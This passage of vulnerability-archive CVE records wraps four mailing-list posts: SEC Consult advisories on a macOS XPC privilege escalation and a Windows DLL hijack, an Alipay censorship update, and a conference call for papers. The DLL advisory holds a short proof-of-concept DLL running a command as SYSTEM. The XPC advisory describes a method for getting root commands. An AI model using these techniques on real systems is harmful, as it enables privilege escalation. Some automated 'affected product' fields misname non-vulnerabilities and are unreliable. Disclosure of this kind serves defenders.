          "value": "SEC Consult Vulnerability Lab Security Advisory \u003c 20260326-0 \u003e\n=======================================================================\n              title: Local Privilege Escalation\n            product: Vienna Assistant (MacOS) - Vienna Symphonic Library\n\u00a0vulnerable version: 1.2.542\n      fixed version: -\n         CVE number: CVE-2026-24068\n\u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0impact: high\n           homepage:https://www.vsl.co.at/\n\u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 found: 2026-01-10\n                 by: Florian Haselsteiner (Office Vienna)\n                     SEC Consult Vulnerability Lab\n\n                     An integrated part of SEC Consult, an Atos business\n                     Europe | Asia\n\n                     https://www.sec-consult.com\n\n=======================================================================\n\nVendor description:\n-------------------\n\"We make products, tools and services that enable all creators and musicians\nto express their deepest emotions through technology, designed to augment\ntheir passion for music and musicality.\n\nSince all of us here at Vienna Symphonic Library are educated musicians,\nsimply passionate about music, or both, we know that every piece of work \u2013\na song for a birthday party, a commercial jingle or a new film score \u2013\nrequires your full attention and energy. That\u2019s why we design our products\nand services to alleviate the burden of unwanted tasks so that you can\nconcentrate on what you enjoy most and get the job done.\"\n\nSource:https://www.vsl.co.at/company/vision\n\n\nBusiness recommendation:\n------------------------\nThe vendor was unresponsive and did not respond to any of our communication\nattempts. Therefore, a patch is not available. In case you are using this\nproduct, please approach the vendor and demand a fix.\n\nSEC Consult highly recommends to perform a thorough security review of the product\nconducted by security professionals to identify and resolve potential further\nsecurity issues.\n\n\nVulnerability overview/description:\n-----------------------------------\n1) Missing XPC Client \u0026 NSXPC endpoint validation leads to privilege escalation (CVE-2026-24068)\nThe VSL privileged helper does utilize NSXPC for IPC. The implementation of\nthe \"shouldAcceptNewConnection\" function, which is used by the NSXPC framework\nto validate if a client should be allowed to connect to the XPC listener,\ndoes not validate clients at all.\n\n-----------------------------------\n1000060b0    bool -[HelperTool listener:shouldAcceptNewConnection:](struct HelperTool* self, SEL sel, id listener, id \nshouldAcceptNewConnection)\n1000060b0    {\n1000060b0        _NSLog(@\"New Listener\");\n1000060fc        [shouldAcceptNewConnection setExportedInterface:[clsRef_NSXPCInterface\n1000060fc            interfaceWithProtocol:protoRef_HelperToolProtocol]];\n100006110        [shouldAcceptNewConnection setExportedObject:self];\n100006120        [shouldAcceptNewConnection resume];\n100006130        return 1;\n1000060b0    }\n-----------------------------------\nThis means that any process can connect to this service using the configured\nprotocol. A malicious process is able to call all the functions defined in\nthe corresponding HelperToolProtocol.\n\n\nNo validation is performed in the functions \"writeReceiptFile\" and \"runUninstaller\"\nof the HelperToolProtocol. This allows an attacker to write files to any\nlocation with any data as well as execute any file with any arguments.\nAny process can call these functions because of the missing XPC client validation\ndescribed before. The abuse of the missing endpoint validation leads to privilege\nescalation.\n\n\nProof of concept:\n-----------------\n1) Missing XPC Client \u0026 NSXPC endpoint validation leads to privilege escalation (CVE-2026-24068)\nTo exploit the missing XPC client validation an attacker only has to define the\nsame Objective C protocol and start a connection to the privileged helper XPC\nservice. The attacker can then use any function available in the defined\nprotocol. The HelperToolProtocol has the functions writeReceiptFile and\nrunUninstaller defined, which both do not perform validation of their arguments.\nThe function runUninstaller can be exploited to execute bash commands as root.\nThe following Objective C code implements the exploit:\n\n-----------------------------------\n[ PoC exploit code removed ]\n-----------------------------------\n\nThe proof of concept code can be compiled using the following command:\n-----------------------------------\nclang -o exploit -framework Foundation ./exploit.mm\n-----------------------------------\n\nVulnerable / tested versions:\n-----------------------------\nThe following version has been tested which was the latest version available\nat the time of the test:\n* 1.2.542\n\n\nVendor contact timeline:\n------------------------\n2026-01-21: Contacting vendor throughsupport () vsl co at; no response.\n2026-02-03: Contacting vendor again throughsupport () vsl co at; no response.\n2026-02-24: Vendor Website (https://www.vsl.co.at/) down.\n2026-02-25: Contacted vendor throughsupport () vsl co at andoffice () vsl co at;\n            no response\n2026-03-24: Contacting vendor again, informing them about public release on\n            26th March.\n2026-03-26: Public release of advisory.\n\n\nSolution:\n---------\nThe vendor was unresponsive and did not respond to any of our communication\nattempts. Therefore, a patch is not available. In case you are using this\nproduct, please approach the vendor and demand a fix.\n\n\nWorkaround:\n-----------\nNone\n\n\nAdvisory URL:\n-------------\nhttps://sec-consult.com/vulnerability-lab/\n\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nSEC Consult Vulnerability Lab\nAn integrated part of SEC Consult, an Atos business\nEurope | Asia\n\nAbout SEC Consult Vulnerability Lab\nThe SEC Consult Vulnerability Lab is an integrated part of SEC Consult, an\nAtos business. It ensures the continued knowledge gain of SEC Consult in the\nfield of network and application security to stay ahead of the attacker. The\nSEC Consult Vulnerability Lab supports high-quality penetration testing and\nthe evaluation of new offensive and defensive technologies for our customers.\nHence our customers obtain the most current information about vulnerabilities\nand valid recommendation about the risk profile of new technologies.\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\nInterested to work with the experts of SEC Consult?\nSend us your applicationhttps://sec-consult.com/career/\n\nInterested in improving your cyber security with the experts of SEC Consult?\nContact our local officeshttps://sec-consult.com/contact/\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nMail: security-research at sec-consult dot com\nWeb:https://www.sec-consult.com\nBlog:https://blog.sec-consult.com\nX:https://x.com/sec_consult\n\nEOF Florian Haselsteiner / @2026\n\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives \u0026 RSS: https://seclists.org/fulldisclosure/"
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-09-08T08:13:42Z",
        "orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
        "shortName": "VULNARCHIVE"
      },
      "references": [
        {
          "tags": [
            "technical-description",
            "exploit"
          ],
          "url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Apr/3"
        },
        {
          "tags": [
            "technical-description"
          ],
          "url": "https://seclists.org/fulldisclosure/2026/Apr/3"
        },
        {
          "url": "https://blog.sec-consult.com"
        },
        {
          "url": "https://nmap.org/mailman/listinfo/fulldisclosure"
        },
        {
          "url": "https://sec-consult.com/career/"
        },
        {
          "url": "https://sec-consult.com/contact/"
        },
        {
          "url": "https://sec-consult.com/vulnerability-lab/"
        },
        {
          "url": "https://seclists.org/fulldisclosure/"
        },
        {
          "url": "https://www.sec-consult.com"
        },
        {
          "url": "https://www.vsl.co.at/"
        },
        {
          "url": "https://www.vsl.co.at/company/vision"
        },
        {
          "url": "https://x.com/sec_consult"
        }
      ],
      "source": {
        "defect": [
          "https://seclists.org/fulldisclosure/2026/Apr/3"
        ],
        "discovery": "EXTERNAL"
      },
      "title": "SEC Consult SA-20260326-0 :: Local Privilege Escalation in Vienna Assistant (MacOS) - Vienna Symphonic Library",
      "x_gcve": [
        {
          "recordType": "analysis",
          "relationships": [
            {
              "destId": "CVE-2026-24068",
              "type": "related"
            }
          ],
          "vulnId": "GCVE-1988-2026-0248",
          "x_vulnarchive": {
            "archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Apr/3",
            "automated": true,
            "contentSha256": "be9f0a81affc47398ee86a898c2cf4022a34dba7aab7b839ad4bff3d4566cffb",
            "evidenceScore": 9,
            "messageId": "",
            "originalUrl": "https://seclists.org/fulldisclosure/2026/Apr/3",
            "policy": "vulnarchive-1",
            "sourceFormat": "text/html",
            "sourcePublishedAt": "2026-03-26T10:39:40Z"
          }
        },
        {
          "recordType": "advisory",
          "vulnId": "gcve-1988-2026-0248"
        }
      ]
    }
  },
  "cveMetadata": {
    "assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
    "assignerShortName": "VULNARCHIVE",
    "datePublished": "2026-09-08T08:13:42Z",
    "dateUpdated": "2026-09-08T08:13:42Z",
    "state": "PUBLISHED",
    "vulnId": "GCVE-1988-2026-0248"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

{
  "containers": {
    "cna": {
      "affected": [
        {
          "product": "SEC Consult SA-20260423-0",
          "vendor": "unknown",
          "versions": [
            {
              "status": "affected",
              "version": "unknown"
            }
          ]
        }
      ],
      "credits": [
        {
          "lang": "en",
          "type": "finder",
          "value": "SEC Consult Vulnerability Lab via Fulldisclosure"
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "SEC Consult Vulnerability Lab Security Advisory \u003c 20260423-0 \u003e\n=======================================================================\n             title: DLL Hijacking\n           product: EfficientLab Controlio (cloud-based employee monitoring service)\nvulnerable version: \u003c1.3.95\n\u00a0 \u00a0 \u00a0fixed version: 1.3.95\n\u00a0 \u00a0 \u00a0 \u00a0 CVE number: CVE-2025-10549\n\u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 impact: High\n          homepage:https://controlio.net\n             found: 2025-05-20\n                by: Tobias Niemann (Office Bochum)\n                    Daniel Hirschberger\n                    Thorger Jansen (Office Bochum)\n                    Marius Renner (Office Berlin)\n                    SEC Consult Vulnerability Lab\n\n                    An integrated part of SEC Consult, an Atos business\n                    Europe | Asia\n\n                    https://www.sec-consult.com\n\n=======================================================================\n\nVendor description:\n-------------------\n\"Controlio is a web-based cloud system for employee surveillance on their work PCs that\nrun Windows or MAC. You can easily monitor web and application usage, and watch what\u2019s\nhappening on your staff screens live or on-demand. Check what they type, search on the\nWeb, what files they copy and much more.\nThe client app runs in stealth mode on a work computer, so your employees won\u2019t see\nadditional icons or processes. The system is free to try on three computers.\"\n\nSource:https://controlio.net/what_is_controlio.html\n\n\nBusiness recommendation:\n------------------------\nThe vendor provides a patch v1.3.95 which should be installed immediately.\n\nSEC Consult highly recommends to perform a thorough security review of the\nproduct conducted by security professionals to identify and resolve potential\nfurther security issues.\n\n\nVulnerability overview/description:\n-----------------------------------\n1) DLL Hijacking Vulnerability (CVE-2025-10549)\nA local attacker can exploit weak folder permissions in the Controlio\ninstallation directory to perform DLL hijacking attacks. As the service\nis running as NT Authority\\SYSTEM this allows a local attacker to execute\narbitrary code and commands as highly privileged user and bypass or disable\nthe monitoring solution.\n\n\nProof of concept:\n-----------------\n1) DLL Hijacking Vulnerability (CVE-2025-10549)\nControlio attempts to load multiple non-existing DLLs from the installation\ndirectory at C:\\ProgramData\\{UUID}\n\n\u003cprocmon.png\u003e\n\nThe full list of DLLs that are searched for in the install directory\nis listed below:\n--------------------------------------------------------------------------------\nversion.dll\nwtsapi32.dll\nnetapi32.dll\nwinhttp.dll\nshfolder.dll\nwsock32.dll\nNETUTILS.dll\nPowrProf.dll\ndbghelp.dll\ndbgcore.dll\nWER.dll\niphlpapi.dll\nSecur32.dll\nSSPICLI.dll\nWINSTA.dll\nolepro32.dll\nsecurity.dll\nFwpucInt.dll\nIdnDL.dll\nWldp.dll\nprofapi.dll\n--------------------------------------------------------------------------------\n\nWhile a local attacker cannot overwrite the service binaries themselves, the\ndefault permissions allow an attacker to create new files in the installation\ndirectory:\n\n\u003cservice_permissions.png\u003e\n\u003cinstall_dir_permissions.png\u003e\n\nAn attacker can use this to drop DLLs that execute arbitrary code when they\nare loaded when the Controlio service is started. For this proof of concept\nthe following WER.dll is dropped:\n\n--------------------------------------------------------------------------------\n#include \u003cwindows.h\u003e\nBOOL WINAPI DllMain (HANDLE hDll, DWORD dwReason, LPVOID lpReserved){\n    if (dwReason == DLL_PROCESS_ATTACH){\n        system(\"whoami \u003e C:\\\\dll_hijack.txt\");\n        ExitProcess(0);\n    }\n    return TRUE;\n}\n\nx86_64-w64-mingw32-gcc windows_dll.c -shared -o WER.dll\n--------------------------------------------------------------------------------\n\nWhen the service is restarted, the DLL is loaded and the command is executed as\nNT Authority\\SYSTEM:\n\n\u003cexecuted.png\u003e\n\n\nVulnerable / tested versions:\n-----------------------------\nThe following version has been tested which was the latest version available\nat the time of the test:\n* Controlio v1.3.0.60\n\nThe vendor provides a patched version v1.3.95, it is assumed that all previous\nversions are affected.\n\nVendor contact timeline:\n------------------------\n2025-07-09: Initial mail to the vendor (info () controlio net); no response\n2025-08-22: Sent reminder mail; no response.\n2025-09-16: Submitting support ticket viahttps://kb.controlio.net/hc/en-us/requests/new\n            Vendor assigns ticket #14957, support agent forwards request to relevant\n            department.\n            EfficientLab answers that there is a bug bounty page to submit security\n            advisories athttps://controlio.net/bug-bounty.html\n2025-09-17: Submitting advisory.\n2025-10-15: Vendor responds that although out of scope (client agent), they grant\n            a 250 USD bug bounty and have accepted it as medium priority.\n2025-10-16: Asking the vendor to donate the money to EFF to foster secure software\n            development, as well as asking for timeline regarding the fix.\n2025-10-16: Vendor will publish an update within the next 4 weeks, donation request\n            has been forwarded to relevant team for processing.\n2025-10-17: Confirming the postponement of the advisory release.\n2025-11-03: Asking for a status update, sending vendor reserved CVE number.\n2025-11-04: Vendor responds that the fix is in the roadmap, but there is no clear\n            timeline yet, they are hoping to fix it before end of the year.\n            Bounty was donated to EFF with transaction ID 9MX93585JU286433M.\n2025-11-05: Asking whether they need support or further information regarding the issue\n            and what changed regarding the timeline because the vendor provided a\n            timeline of 4 weeks mid October.\n2025-11-05: Vendor responds that due to internal overload, timeline has shifted.\n            No support needed.\n2026-02-09: Contacting vendor again, asking for patch status and setting advisory\n            release date to 25th February.\n2026-02-23: Vendor responds that fix is implemented in the client, but the final build\n            is on hold due to driver issues.\n2026-02-25: Asking about the new release timeline.\n2026-02-26: Fixed version should be released within two weeks.\n2026-03-26: Asking for a status update, no response.\n2026-04-14: Asking for a status update again. Vendor support contact has requested\n            another updated from their developers.\n2026-04-21: Vendor informs us that v1.3.95 has been released on 15th April.\n2026-04-23: Coordinated release of advisory.\n\n\nSolution:\n---------\nThe vendor provides a patch v1.3.95 which should be installed immediately.\n\nFor further details see their changelog knowledgebase:\nhttps://kb.controlio.net/hc/en-us/articles/45777908471185-Client-Update-April-15-2026-ver-1-3-95\n\n\n\nWorkaround:\n-----------\nNone\n\n\nAdvisory URL:\n-------------\nhttps://sec-consult.com/vulnerability-lab/\n\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nSEC Consult Vulnerability Lab\nAn integrated part of SEC Consult, an Atos business\nEurope | Asia\n\nAbout SEC Consult Vulnerability Lab\nThe SEC Consult Vulnerability Lab is an integrated part of SEC Consult, an\nAtos business. It ensures the continued knowledge gain of SEC Consult in the\nfield of network and application security to stay ahead of the attacker. The\nSEC Consult Vulnerability Lab supports high-quality penetration testing and\nthe evaluation of new offensive and defensive technologies for our customers.\nHence our customers obtain the most current information about vulnerabilities\nand valid recommendation about the risk profile of new technologies.\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\nInterested to work with the experts of SEC Consult?\nSend us your applicationhttps://sec-consult.com/career/\n\nInterested in improving your cyber security with the experts of SEC Consult?\nContact our local officeshttps://sec-consult.com/contact/\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nMail: security-research at sec-consult dot com\nWeb:https://www.sec-consult.com\nBlog:https://blog.sec-consult.com\nX:https://x.com/sec_consult\n\nEOF Tobias Niemann, Daniel Hirschberger, Thorger Jansen, Marius Renner / @2026\n\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives \u0026 RSS: https://seclists.org/fulldisclosure/"
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-09-08T08:13:42Z",
        "orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
        "shortName": "VULNARCHIVE"
      },
      "references": [
        {
          "tags": [
            "technical-description"
          ],
          "url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Apr/19"
        },
        {
          "tags": [
            "technical-description"
          ],
          "url": "https://seclists.org/fulldisclosure/2026/Apr/19"
        },
        {
          "url": "https://blog.sec-consult.com"
        },
        {
          "url": "https://controlio.net"
        },
        {
          "url": "https://controlio.net/bug-bounty.html"
        },
        {
          "url": "https://controlio.net/what_is_controlio.html"
        },
        {
          "url": "https://kb.controlio.net/hc/en-us/articles/45777908471185-Client-Update-April-15-2026-ver-1-3-95"
        },
        {
          "url": "https://kb.controlio.net/hc/en-us/requests/new"
        },
        {
          "url": "https://nmap.org/mailman/listinfo/fulldisclosure"
        },
        {
          "url": "https://sec-consult.com/career/"
        },
        {
          "url": "https://sec-consult.com/contact/"
        },
        {
          "url": "https://sec-consult.com/vulnerability-lab/"
        },
        {
          "url": "https://seclists.org/fulldisclosure/"
        },
        {
          "url": "https://www.sec-consult.com"
        },
        {
          "url": "https://x.com/sec_consult"
        }
      ],
      "source": {
        "defect": [
          "https://seclists.org/fulldisclosure/2026/Apr/19"
        ],
        "discovery": "EXTERNAL"
      },
      "title": "SEC Consult SA-20260423-0 :: DLL Hijacking in EfficientLab Controlio (cloud-based employee monitoring service)",
      "x_gcve": [
        {
          "recordType": "reference",
          "relationships": [
            {
              "destId": "CVE-2025-10549",
              "type": "related"
            }
          ],
          "vulnId": "GCVE-1988-2026-0246",
          "x_vulnarchive": {
            "archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Apr/19",
            "automated": true,
            "contentSha256": "3f6ac098f2a33f5a28e08303416a0fb7f9d6c5d4be5781a1c440e472f6281073",
            "evidenceScore": 7,
            "messageId": "",
            "originalUrl": "https://seclists.org/fulldisclosure/2026/Apr/19",
            "policy": "vulnarchive-1",
            "sourceFormat": "text/html",
            "sourcePublishedAt": "2026-04-23T11:41:34Z"
          }
        },
        {
          "recordType": "advisory",
          "vulnId": "gcve-1988-2026-0246"
        }
      ]
    }
  },
  "cveMetadata": {
    "assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
    "assignerShortName": "VULNARCHIVE",
    "datePublished": "2026-09-08T08:13:42Z",
    "dateUpdated": "2026-09-08T08:13:42Z",
    "state": "PUBLISHED",
    "vulnId": "GCVE-1988-2026-0246"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

{
  "containers": {
    "cna": {
      "affected": [
        {
          "product": "UPDATE Ant Group",
          "vendor": "unknown",
          "versions": [
            {
              "status": "affected",
              "version": "unknown"
            }
          ]
        }
      ],
      "credits": [
        {
          "lang": "en",
          "type": "finder",
          "value": "Jiqiang Feng via Fulldisclosure"
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "[This is an update to communications sent March 12-14 regarding Alipay security vulnerabilities.]\n\n---\n\nOn March 15, 2026, four WeChat articles documenting security vulnerabilities in Alipay were forcibly deleted from the \npublic account AI-security-innora. The deletion was carried out by Tencent at the request of Beijing Geyun Law Firm, \nacting on behalf of Ant Group, citing China\u0027s Cybersecurity Law.\n\nThe same complaint had been rejected by WeChat four days earlier on grounds of \"reputation infringement\" -- at that \npoint WeChat found it did not meet the threshold for removal. When resubmitted under a different legal theory, the \narticles were deleted without further review.\n\n---\n\nWHAT WAS DELETED\n\n1. \"Whitelist bypass as a universal attack key\" (\u5f53\u767d\u540d\u5355\u7ed5\u8fc7\u6ca6\u4e3a\u5168\u7f51\u653b\u51fb\u7684\u94a5\u5319)\n2. \"The gag order rejected by WeChat, then reversed\" (\u5de8\u5934\u7684\u5c01\u53e3\u4ee4\u88ab\u5fae\u4fe1\u9a73\u56de)\n3. \"GPS location silently exfiltrated from 1B+ users\u0027 payment app\" (\u4f4d\u7f6e\u88ab\u79d2\u5077)\n4. \"Security research vs. a cease-and-desist for an article with zero mentions of Alipay\"\n\n---\n\nTHE BROADER DISCLOSURE RECORD\n\nThe underlying research covers 17 vulnerabilities (CVSS 7.4-9.3) in Alipay for iOS/Android, reported to Ant Group \nthrough responsible disclosure. Ant Group\u0027s formal response: \"normal functionality.\"\n\nIndependent verification and institutional acceptance:\n- MITRE: 6 CVEs accepted, Ticket #2005801\n- Packet Storm: Advisory #217089 published\n- CSSF Luxembourg: Whistleblowing case CSSFWB-2026-080\n- HKMA Hong Kong: Case CE20260313175412\n- PDPC Singapore: Investigation #00629724\n- Apple Product Security: Case OE01052449093014\n- Google Play: Policy violation review #9-7515000040640\n- CIRCL Luxembourg: Case #4782984 (relayed to Alibaba SRC)\n- 38+ institutions across 22 jurisdictions have acknowledged the report\n\nFull technical report: https://innora.ai/zfb/\nGitHub: https://github.com/sgInnora/alipay-deeplink-research\n\n---\n\nTHE CENSORSHIP PATTERN\n\nThis escalation follows a documented sequence:\n\n1. Oral denial by vendor (\"normal functionality,\" March 10)\n2. Public blog published after disclosure window elapsed (March 11)\n3. Cease-and-desist via Beijing Geyun Law Firm (March 11, 4h29m after publication)\n4. Initial WeChat complaint REJECTED (reputation infringement standard not met)\n5. Re-filed under Cybersecurity Law -- all 4 articles deleted without further notice (March 15)\n6. Server-side blocking of PoC demonstration traffic (documented separately)\n\nThis pattern is consistent with suppression of security research rather than legitimate legal remedy. disclose.io \nmaintains a researcher threats database at https://threats.disclose.io/ that tracks this category of legal and \nplatform-based retaliation against good-faith researchers.\n\nA full bilingual analysis of this censorship event is available at: https://innora.ai/zfb/\n\n---\n\nI am available for verification, additional documentation, or technical questions.\n\nJiqiang Feng\nInnora AI Security Research\nfeng () innora ai\nhttps://innora.ai/zfb/\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives \u0026 RSS: https://seclists.org/fulldisclosure/"
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-09-08T08:13:41Z",
        "orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
        "shortName": "VULNARCHIVE"
      },
      "references": [
        {
          "tags": [
            "technical-description"
          ],
          "url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Mar/7"
        },
        {
          "tags": [
            "technical-description"
          ],
          "url": "https://seclists.org/fulldisclosure/2026/Mar/7"
        },
        {
          "url": "https://github.com/sgInnora/alipay-deeplink-research"
        },
        {
          "url": "https://innora.ai/zfb/"
        },
        {
          "url": "https://nmap.org/mailman/listinfo/fulldisclosure"
        },
        {
          "url": "https://seclists.org/fulldisclosure/"
        },
        {
          "url": "https://threats.disclose.io/"
        }
      ],
      "source": {
        "defect": [
          "https://seclists.org/fulldisclosure/2026/Mar/7"
        ],
        "discovery": "EXTERNAL"
      },
      "title": "UPDATE: Ant Group Censors 4 Security Research Articles After Initial Complaint Rejection",
      "x_gcve": [
        {
          "recordType": "advisory",
          "relationships": [],
          "vulnId": "GCVE-1988-2026-0242",
          "x_vulnarchive": {
            "archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Mar/7",
            "automated": true,
            "contentSha256": "f12bb476b564c255d13e198a5fb0e7a28d725ccca29027603773149a484a6d65",
            "evidenceScore": 7,
            "messageId": "",
            "originalUrl": "https://seclists.org/fulldisclosure/2026/Mar/7",
            "policy": "vulnarchive-1",
            "sourceFormat": "text/html",
            "sourcePublishedAt": "2026-03-15T12:18:43Z"
          }
        }
      ]
    }
  },
  "cveMetadata": {
    "assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
    "assignerShortName": "VULNARCHIVE",
    "datePublished": "2026-09-08T08:13:41Z",
    "dateUpdated": "2026-09-08T08:13:41Z",
    "state": "PUBLISHED",
    "vulnId": "GCVE-1988-2026-0242"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

{
  "containers": {
    "cna": {
      "affected": [
        {
          "product": "CfP 15th International",
          "vendor": "unknown",
          "versions": [
            {
              "status": "affected",
              "version": "unknown"
            }
          ]
        }
      ],
      "credits": [
        {
          "lang": "en",
          "type": "finder",
          "value": "Artur Janicki via Fulldisclosure"
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "[APOLOGIES FOR CROSS-POSTING]\n\nCALL FOR PAPERS\n15th International Workshop on Cyber Crime (IWCC 2026 -\nhttps://www.ares-conference.eu/iwcc)\nto be held in conjunction with the International Conference on Availability,\nReliability and Security (ARES 2026 - https://www.ares-conference.eu/) in\nLink\u00f6ping, Sweden, August 24-27, 2026\n\nIMPORTANT DATES\nSubmission Deadline     May 11, 2026\nAuthor Notification     May 29, 2026\nProceedings Version     June 19, 2026\nConference              August 24-27, 2026\n\nWORKSHOP DESCRIPTION\nSocieties in today\u0027s world are becoming increasingly dependent on online\nservices, where commercial activities, business transactions, government\nservices, and biomedical diagnostics are carried out. This tendency has been\nevident during the recent COVID-19 pandemic. These developments, along with\nthe growing number of military conflicts worldwide, have led to the fast\ndevelopment of new cyber threats and numerous information security issues\nexploited by cybercriminals. The inability to provide trusted, secure\nservices in contemporary computer networks has a significant socio-economic\nimpact on global enterprises and individuals.\n\nMoreover, the frequent occurrence of international fraud necessitates\ninvestigations spanning multiple domains and countries. Such examination is\noften subject to different jurisdictions and legal systems. A good\nillustration of the above is the Internet, which has made it easier to\nprepare and perpetrate traditional - but now cyber-enabled - crimes. It has\nserved as an alternative avenue for criminals to conduct their activities\nand launch attacks with relative anonymity, high deniability, and the\nopportunity to operate in a border-agnostic environment. Worrying\ndevelopments in the abuse of artificial intelligence and machine learning\ntechnologies have increased the capabilities of malign actors who leverage\nthese tools to design and propagate disinformation, which is especially\ndangerous (and effective) during emergencies and crises of all kinds. The\ndevelopments in Generative Artificial Intelligence have also enabled the\nincrease of criminal capabilities in the production, dissemination, and\nweaponization of high-quality, convincing fake content (text, audio, images,\nand videos), which translates not only to the truth and trust decay among\nthe affected societies but also to the enhanced capabilities in\norchestrating the sophisticated cyber crimes. \n\nFurthermore, nowadays, the majority of life-science-based techniques and\nresulting data hinge on information technologies. Despite their considerable\nadvantages, dependence on cyber technologies also exposes vulnerabilities.\nVarious threats in the digital realm could target biomedical systems,\nleading to adverse consequences. The field of CyberBioSecurity was\nestablished to assist bio-related sciences in comprehending potential cyber\nthreats and formulating defense approaches, recovery protocols, and\nresilience strategies. \n\nThe increased complexity of communications and the networking infrastructure\nis making the investigation of these new types of crimes difficult. Traces\nof illegal digital activity are difficult to analyze due to the large volume\nof data. Nowadays, the digital crime scene operates like any other network,\nwith dedicated administrators serving as first responders. This poses new\nchallenges for law enforcement and intelligence communities and forces\ncomputer societies to use digital forensics to combat the growing number of\ncybercrimes. Forensic professionals must be fully prepared to provide\ncourt-admissible evidence. Forensic techniques should keep pace with new\ntechnologies to make these goals achievable. Prevention, mitigation, and\ninterdiction of new and emerging threats require an increasingly thorough,\nmultidisciplinary approach. They also require the collaboration of all\nrelevant actors and stakeholders in designing the technology regulation and\ncyber governance measures.\n\nThe aim of this workshop is to bring together research outcomes from\nacademia and industry. Another goal is to showcase the latest research\nfindings across a wide range of topics, from digital forensics to\ncyberbiosecurity. We strongly encourage prospective authors to submit\narticles presenting both theoretical approaches and practical case reviews,\nincluding work-in-progress reports.\n\nARES 2026 (incl. IWCC) proceedings will be published by Springer in Lecture\nNotes in Computer Science (LNCS). \nAuthors of accepted IWCC workshop papers are invited to submit an *extended*\nversion of their work (with at least 30% new content) in a Special Issue of\nthe Frontiers in Computer Science journal [Impact Factor: 2.7].\n\nTOPICS OF INTEREST INCLUDE, BUT ARE NOT LIMITED TO:\n- Big Data analytics helping to track cyber crimes\n- Protecting Big Data / AI models against cyber crimes\n- Crime-as-a-service\n- Criminal abuse of clouds and social networks\n- Criminal to criminal (C2C) communications\n- Criminal to victim (C2V) communications\n- Criminal use of IoT, e.g., IoT-based botnets\n- CyberBioSecurity and protection of biomedical systems\n- Security of healthcare and life-science infrastructures\n- Cybercrime-related investigations\n- Cyber crimes: evolution, new trends and detection\n- Darknets and hidden services\n- Fake (incl. deepfake) and disinformation detection\n- Generative Artificial Intelligence and cybercrime\n- AI-enabled crime and terrorism\n- Mobile malware\n- Network anomalies detection\n- Network traffic analysis, traceback and attribution\n- Incident response, investigation and evidence handling\n- Internet governance\n- Novel techniques in exploit kits\n- Political and business issues related to digital forensics and\nanti-forensic techniques\n- Anti-forensic techniques and methods\n- Identification, authentication and collection of digital evidence\n- Integrity of digital evidence and live investigations\n- Privacy issues in digital forensics\n- Ransomware: evolution, functioning, types, etc.\n- Steganography/steganalysis and covert/subliminal channels\n- Technology regulation\n- Novel applications of information hiding in networks\n- Watermarking and intellectual property theft\n\nWORKSHOP CHAIRS\nArtur Janicki, Warsaw University of Technology, Poland; \nKatarzyna Kami\u0144ska, Warsaw University of Technology, Poland \nKarolina Gabor-Siatkowska, Warsaw University of Technology, Poland; \n\nSUBMISSION GUIDELINES\nThe submission guidelines valid for the workshop are the same as for the\nARES conference. They can be found at\nhttps://www.ares-conference.eu/submission-guidelines.\n\n\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives \u0026 RSS: https://seclists.org/fulldisclosure/"
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-09-08T08:13:41Z",
        "orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
        "shortName": "VULNARCHIVE"
      },
      "references": [
        {
          "tags": [
            "technical-description"
          ],
          "url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Apr/9"
        },
        {
          "tags": [
            "technical-description"
          ],
          "url": "https://seclists.org/fulldisclosure/2026/Apr/9"
        },
        {
          "url": "https://nmap.org/mailman/listinfo/fulldisclosure"
        },
        {
          "url": "https://seclists.org/fulldisclosure/"
        },
        {
          "url": "https://www.ares-conference.eu/"
        },
        {
          "url": "https://www.ares-conference.eu/iwcc"
        },
        {
